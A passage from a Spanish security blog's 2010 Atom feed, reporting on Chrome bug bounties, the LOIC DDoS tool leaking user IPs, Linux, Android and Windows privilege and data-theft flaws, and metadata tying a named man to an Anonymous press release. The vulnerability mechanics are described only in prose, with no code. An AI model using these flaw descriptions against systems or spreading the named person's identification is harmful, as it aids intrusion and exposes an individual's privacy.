italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;Credit to Sławomir Błażek and Sergey Glazunov.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;/span&gt;Como se puede apreciar, $1000 para Chris Rohlf y otros $1000 para Sławomir Błażek y Sergey Glazunov. Gracias al &lt;a href="http://blog.chromium.org/2010/01/encouraging-more-chromium-security.html"&gt;programa de recompensas de Google.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-5376012700700013336?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/5376012700700013336/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/nueva-versi%C3%B3n-de-chrome-nuevos-bugs.html#comment-form" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/5376012700700013336" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/5376012700700013336" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/nueva-versi%C3%B3n-de-chrome-nuevos-bugs.html" title="Nueva versión de Chrome, nuevos bugs arreglados!" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-8829844631086837527</id><published>2010-12-13T20:58:00.002-03:00</published><updated>2010-12-13T21:21:11.126-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="LOIC" /><category scheme="http://www.blogger.com/atom/ns#" term="Anonymous" /><category scheme="http://www.blogger.com/atom/ns#" term="WikiLeaks" /><title type="text">Herramienta utilizada para realizar DDoS podria revelar la identidad del grupo Anonymous</title><content type="html">Un nuevo estudio demuestra que el software utilizado para realizar los ataques DDoS utilizado por el grupo "Anonymous" podría servir para descubrir las identidades de los individuos que utilizaron dicho software.&lt;br /&gt;&lt;br /&gt;El software denominado &lt;a href="http://en.wikipedia.org/wiki/LOIC"&gt;Low Orbit Ion Cannon&lt;/a&gt; (LOIC) es una herramienta desarrollada en primera instancia con el objetivo de realizar pruebas de estrés (DoS)&amp;nbsp; . No obstante es la herramienta utilizada para llevar a cabo los ataques DDoS que en el ultimo tiempo se han vuelto un actor principal en la guerra entre WikiLeaks y Estados Unidos. &lt;br /&gt;La versión modificada que utiliza el grupo "Anonymous" permite realizar los ataques manualmente u simplemente formar parte de un ataque con solo utilizar la aplicación. Sin embargo, &lt;a href="http://www.simpleweb.org/reports/loic-report.pdf"&gt;acorde a un estudio publicado&lt;/a&gt;, la identidad de las personas que utilizaron el software en pos de participar en los ataques podria descubrirse, ya que la aplicación falla notablemente en la tarea de ocultar las direcciones IP de los usuarios que lo utilizan, directamente ni siquiera lo intenta.&lt;br /&gt;&lt;br /&gt;Podria ocurrir que las autoridades decidan dar ejemplos arrestando a varias personas involucradas en los ataques. &lt;br /&gt;En el FAQ de LOIC se puede encontrar preguntas como estas:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Q: “Will I get caught/arrested for using it?”&lt;br /&gt;A: Chances are next to zero. Just blame you have a virus, or simply&lt;br /&gt;deny any knowledge of it.&lt;/blockquote&gt;Es decir, remarcan que es improbable que esto pueda llevarse a cabo dado que uno podría aludir estar infectado y haber formado parte del ataque sin quererlo realmente, lo cual es muy difícil de comprobar pero a la vez muy difícil de refutar. &lt;br /&gt;&lt;br /&gt;Por otro lado, el estudio haciendo hincapié en el FAQ de LOIC, aclara:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;blockquote&gt;We would like to rephrase the question as: is it technically feasible to identify&lt;br /&gt;a participant in the Anonymous operation? The answer depends on two factors:&lt;br /&gt;the tool and the generated data.&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;br /&gt;Hasta el dia de hoy, solo un chico de &lt;a href="http://www.rosario3.com/tecnologia/noticias.aspx?idNot=82738"&gt;16 años ha sido arrestado&lt;/a&gt; por formar parte de los ataques.&lt;br /&gt;&lt;br /&gt;A ver como sigue esta historia.&lt;br /&gt;&lt;br /&gt;Referencias:&lt;br /&gt;&lt;a href="http://www.simpleweb.org/reports/loic-report.pdf"&gt;LOIC Report&lt;/a&gt;&lt;br /&gt;&lt;a href="http://threatpost.com/en_us/blogs/hacking-tool-used-anonymous-could-reveal-users-identity-121310"&gt;Hacking Tool Used By Anonymous Could Reveal Users Identity&lt;/a&gt;&lt;a href="http://threatpost.com/en_us/blogs/dutch-arrest-16-year-old-wikileaks-attack-121010"&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://threatpost.com/en_us/blogs/dutch-arrest-16-year-old-wikileaks-attack-121010"&gt;Dutch Arrest 16 Year Old for Wikileaks Attack&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-8829844631086837527?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/8829844631086837527/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/herramienta-utilizada-para-realizar.html#comment-form" title="4 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/8829844631086837527" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/8829844631086837527" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/herramienta-utilizada-para-realizar.html" title="Herramienta utilizada para realizar DDoS podria revelar la identidad del grupo Anonymous" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-4735329348596089341</id><published>2010-12-11T18:49:00.000-03:00</published><updated>2010-12-11T18:49:18.843-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Documental" /><category scheme="http://www.blogger.com/atom/ns#" term="WikiLeaks" /><title type="text">Documental de WikiLeaks. "WikiRebels – The Documentary"</title><content type="html">&lt;object height="258" width="416"&gt;&lt;param name="movie" value="http://svt.se/embededflash/2264028/play.swf"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="sameDomain"&gt;&lt;/param&gt;&lt;embed src="http://svt.se/embededflash/2264028/play.swf" type="application/x-shockwave-flash" wmode="transparent" allowfullscreen="true" allowScriptAccess="sameDomain" width="416" height="258"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-4735329348596089341?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/4735329348596089341/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/documental-de-wikileaks-wikirebels.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/4735329348596089341" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/4735329348596089341" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/documental-de-wikileaks-wikirebels.html" title="Documental de WikiLeaks. &quot;WikiRebels – The Documentary&quot;" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-2716608658836554623</id><published>2010-12-11T16:19:00.001-03:00</published><updated>2010-12-12T12:38:53.429-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Anonymous" /><category scheme="http://www.blogger.com/atom/ns#" term="Open Office" /><title type="text">Alex Tapanaris == Anonymous?</title><content type="html">Parece que la gente de "Anonymous" no esta al tanto de la información que se puede conseguir mediante la extracción de metadatos. Por lo menos no lo estuvo quien realizo el comunicado de prensa que acaba de salir:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_i-43lFP4TnI/TQPNtDYHgzI/AAAAAAAAAGQ/AZJ8fi8YgBU/s1600/Dibujo.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="197" src="http://2.bp.blogspot.com/_i-43lFP4TnI/TQPNtDYHgzI/AAAAAAAAAGQ/AZJ8fi8YgBU/s320/Dibujo.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;A ver que nos muestra el documento utilizando la querida &lt;a href="http://www.informatica64.com/foca/"&gt;Foca:&lt;br /&gt;&lt;br /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_i-43lFP4TnI/TQPOL28FQRI/AAAAAAAAAGU/FXAQ_Tztacs/s1600/ss.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="230" src="http://1.bp.blogspot.com/_i-43lFP4TnI/TQPOL28FQRI/AAAAAAAAAGU/FXAQ_Tztacs/s320/ss.JPG" width="320" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;Aparentemente se le ocurrió a mucha gente hacer lo mismo dado que si se busca en Google algo como "Alex Tapanaris anonymous" se encuentran bastantes links con la misma información. Incluso ya han publicado datos personales como domicilio, teléfono, entre otras cosas.&lt;br /&gt;&lt;br /&gt;Sera un nombre falso o un descuido por parte de Alex? a saber!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-2716608658836554623?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/2716608658836554623/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/alex-tapanaris-anonymous.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/2716608658836554623" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/2716608658836554623" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/alex-tapanaris-anonymous.html" title="Alex Tapanaris == Anonymous?" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_i-43lFP4TnI/TQPNtDYHgzI/AAAAAAAAAGQ/AZJ8fi8YgBU/s72-c/Dibujo.JPG" height="72" width="72" /><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-7215564811506320402</id><published>2010-12-09T16:26:00.000-03:00</published><updated>2010-12-09T16:26:44.180-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Exploit" /><title type="text">Exploit para kernel Linux 2.6.x permite la elevación local de privilegios</title><content type="html">&amp;nbsp;Exploit para kernel Linux 2.6.x permite la elevación local de privilegios&lt;br /&gt;&amp;nbsp;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Dan Rosenberg ha publicado un exploit para el kernel de Linux 2.6.x que permite a un usuario local elevar privilegios.&lt;br /&gt;El exploit hace uso de tres vulnerabilidades publicadas por Nelson Elhage (CVE-2010-4258, CVE-2010-3849, CVE-2010-3850).&lt;br /&gt;&lt;br /&gt;A continuación se detallan las distintas vulnerabilidades:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;CVE-2010-4258: Existe un error de falta de comprobación de límites en&lt;br /&gt;la función set_fs(KERNEL_DS que podría ser aprovechado por un atacante&lt;br /&gt;local para elevar privilegios a través de vectores relacionados con la&lt;br /&gt;creación de un hilo con la bandera CLONE_CHILD_CLEARTID activada.&lt;br /&gt;&lt;br /&gt;CVE-2010-3849: Existe un error de comprobación de restricciones en la&lt;br /&gt;función 'econet_sendmsg' del protocolo Econet que podría causar una&lt;br /&gt;referencia a puntero nulo. Esto podría ser aprovechado por un atacante&lt;br /&gt;local para causar una denegación de servicio a través de una llamada a&lt;br /&gt;la función 'econet_sendmsg' con el valor dirección remota instanciado a&lt;br /&gt;NULL.&lt;br /&gt;&lt;br /&gt;CVE-2010-3850: Existe un error en la función 'ec_dev_ioctl' en el&lt;br /&gt;protocolo Econet que no comprueba el valor de la variable 'SIOCSIFADDR'.&lt;br /&gt;Esto podría ser aprovechado por un atacante local para ejecutar código&lt;br /&gt;arbitrario a través de una llamada a 'ec_dev_ioctl' especialmente&lt;br /&gt;manipulada.&lt;/blockquote&gt;&lt;br /&gt;Actualmente Debian y Ubuntu han publicado actualizaciones para las vulnerabilidades CVE-2010-3849 y CVE-2010-3850, por lo que no tendría éxito el exploit. Tan poco sería posible llevarlo a cabo en sistemas Red Hat ya que por defecto no integran el protocolo Econet.&lt;br /&gt;&lt;br /&gt;Referencia: &lt;a href="http://seclists.org/fulldisclosure/2010/Dec/85"&gt;http://seclists.org/fulldisclosure/2010/Dec/85&lt;/a&gt;  &lt;br /&gt;Fuente: &lt;a href="http://www.hispasec.com/unaaldia/4427/comentar"&gt;http://www.hispasec.com/unaaldia/4427/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-7215564811506320402?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/7215564811506320402/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/exploit-para-kernel-linux-26x-permite.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/7215564811506320402" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/7215564811506320402" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/exploit-para-kernel-linux-26x-permite.html" title="Exploit para kernel Linux 2.6.x permite la elevación local de privilegios" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-7775363096006604200</id><published>2010-11-30T20:30:00.002-03:00</published><updated>2010-11-30T20:30:42.588-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="elhacker.net" /><title type="text">[Ehn-Dev 2010] - Concurso de desarrollo de aplicaciones @ elhacker.net</title><content type="html">&lt;a href="http://3.bp.blogspot.com/_z9kbRdkXfns/TPRXqCykf2I/AAAAAAAAAAM/aPJsYf5g36c/s1600/sinttulo1ku.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5545153421015023458" src="http://3.bp.blogspot.com/_z9kbRdkXfns/TPRXqCykf2I/AAAAAAAAAAM/aPJsYf5g36c/s320/sinttulo1ku.png" style="cursor: pointer; display: block; height: 84px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Termino el periodo de entrega de aplicaciones del &lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html"&gt;concurso de desarrollo de aplicaciones&lt;/a&gt;, para dar paso a las votaciones.&lt;br /&gt;Lamentamos los que no pudieron participar porque se enteraron tarde u porque no tuvieron tiempo para trabajar en su proyecto, pero esperamos y alentamos a todos a que participen en la próxima edición del concurso!&lt;br /&gt;&lt;br /&gt;De mi parte, y de parte de todo el staff de elhacker.net, quiero felicitar a todos los que han participado, ya que independientemente de quienes estén en los primeros puestos, todos son ganadores al participar.&lt;br /&gt;Especiales felicitaciones a las personas que decidieron involucrarse en el concurso a pesar de tener poco tiempo en el mundo de la programación, y a los que no son nuevos pero han tenido complicaciones con sus horarios, y así y todo han sacado tiempo de donde no lo hay para poder estar. Doy fe que se han esforzado bastante para participar y eso vale mucho para todos nosotros.&lt;br /&gt;&lt;br /&gt;Espero que se hayan divertido programando y que hayan aprendido algo nuevo en el camino.&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-size: 15pt; line-height: 1.3em;"&gt;&lt;b&gt;Comienzan las votaciones!&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para emitir tu voto, &lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_votaciones-t312301.0.html" style="font-weight: bold;"&gt;entra aquí!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Lista de aplicaciones&lt;/b&gt;:&lt;br /&gt;&lt;ul style="margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1545935#msg1545935" target="_blank"&gt;JawBreaker &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1545953#msg1545953" target="_blank"&gt;DLL Genius&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546054#msg1546054" target="_blank"&gt;Neural&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546097#msg1546097" target="_blank"&gt;CryptHunt&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546114#msg1546114" target="_blank"&gt;TurboTron computer&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546175#msg1546175" target="_blank"&gt;HearBlocdenotas&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546243#msg1546243" target="_blank"&gt;hK 2.0&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546567#msg1546567" target="_blank"&gt;Mejor Combinacion&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1547561#msg1547561" target="_blank"&gt;Soft game map 1.0a&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1547766#msg1547766" target="_blank"&gt;MintDex&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548182#msg1548182" target="_blank"&gt;EdHex&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548293#msg1548293" target="_blank"&gt;WS Downloader&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548587#msg1548587" target="_blank"&gt;RCBluetooth&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548600#msg1548600" target="_blank"&gt;Notas por red&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548740#msg1548740" target="_blank"&gt;Leviathan&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548847#msg1548847" target="_blank"&gt;rcalc&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548946#msg1548946" target="_blank"&gt;FrogCheat v1.1&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1549104#msg1549104" target="_blank"&gt;QtPassGen Version 2.0&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1549160#msg1549160" target="_blank"&gt;PyMSE&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-7775363096006604200?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/7775363096006604200/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/ehn-dev-2010-concurso-de-desarrollo-de.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/7775363096006604200" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/7775363096006604200" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/ehn-dev-2010-concurso-de-desarrollo-de.html" title="[Ehn-Dev 2010] - Concurso de desarrollo de aplicaciones @ elhacker.net" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_z9kbRdkXfns/TPRXqCykf2I/AAAAAAAAAAM/aPJsYf5g36c/s72-c/sinttulo1ku.png" height="72" width="72" /><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-4078290816040695774</id><published>2010-11-26T16:21:00.002-03:00</published><updated>2010-11-27T20:55:06.211-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android" /><title type="text">Grave fallo en Android</title><content type="html">Un fallo que permite que podría permitir al atacante obtener cualquier fichero en principio de la tarjeta SD, pero también podría utilizarse para obtener información y datos alojados en el movil. &lt;br /&gt;&lt;br /&gt;Características de la vulnerabilidad:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;El navegador no pregunta donde descargar el archivo, automáticamente se descarga en &lt;b&gt;&lt;code&gt;"/sdcard/download/payload.html".&lt;br /&gt;&lt;/code&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Sabiendo lo anterior, utilizando javascript podemos abrir el archivo malicioso logrando que el navegador muestre el archivo local.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Al abrir un archivo HTML dentro del contexto local, el navegador ejecuta javascript sin advertir al usuario.&lt;/li&gt;&lt;/ul&gt;Vídeo demostración después del salto.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="270" src="http://player.vimeo.com/video/17030639" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fuente: &lt;a href="http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/"&gt;Android Data Stealing Vulnerability&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-4078290816040695774?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/4078290816040695774/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/grave-fallo-en-android.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/4078290816040695774" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/4078290816040695774" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/grave-fallo-en-android.html" title="Grave fallo en Android" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-2067763079917048714</id><published>2010-11-26T13:26:00.001-03:00</published><updated>2010-11-26T13:27:50.842-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Vista" /><category scheme="http://www.blogger.com/atom/ns#" term="0 day" /><category scheme="http://www.blogger.com/atom/ns#" term="Windows 7" /><category scheme="http://www.blogger.com/atom/ns#" term="Windows" /><category scheme="http://www.blogger.com/atom/ns#" term="UAC" /><title type="text">Demostración de la escalada de privilegios en Windows Vista/7 (UAC) en video</title><content type="html">&lt;div align="center"&gt;&lt;object data="http://www.exploit-db.com/movies/uacvideo.swf" height="640" type="application/x-shockwave-flash" width="480"&gt;&lt;param name="movie" value="http://www.exploit-db.com/movies/uacvideo.swf" /&gt;&lt;param name="wmode" value="transparent" /&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-2067763079917048714?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/2067763079917048714/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/demostracion-de-la-escalada-de.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/2067763079917048714" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/2067763079917048714" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/demostracion-de-la-escalada-de.html" title="Demostración de la escalada de privilegios en Windows Vista/7 (UAC) en video" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-1471289969203493775</id><published>2010-11-25T14:43:00.001-03:00</published><updated>2010-11-25T15:58:13.393-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="0 day" /><category scheme="http://www.blogger.com/atom/ns#" term="Windows" /><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft" /><title type="text">0 day: Elevación de privilegios en Microsoft Windows</title><content type="html">Se ha públicado un nuevo 0 day en Microsoft Windows que permite a un &lt;br /&gt;usuario local obtener privilegios de SYSTEM (control total sobre el &lt;br /&gt;sistema) eludiendo 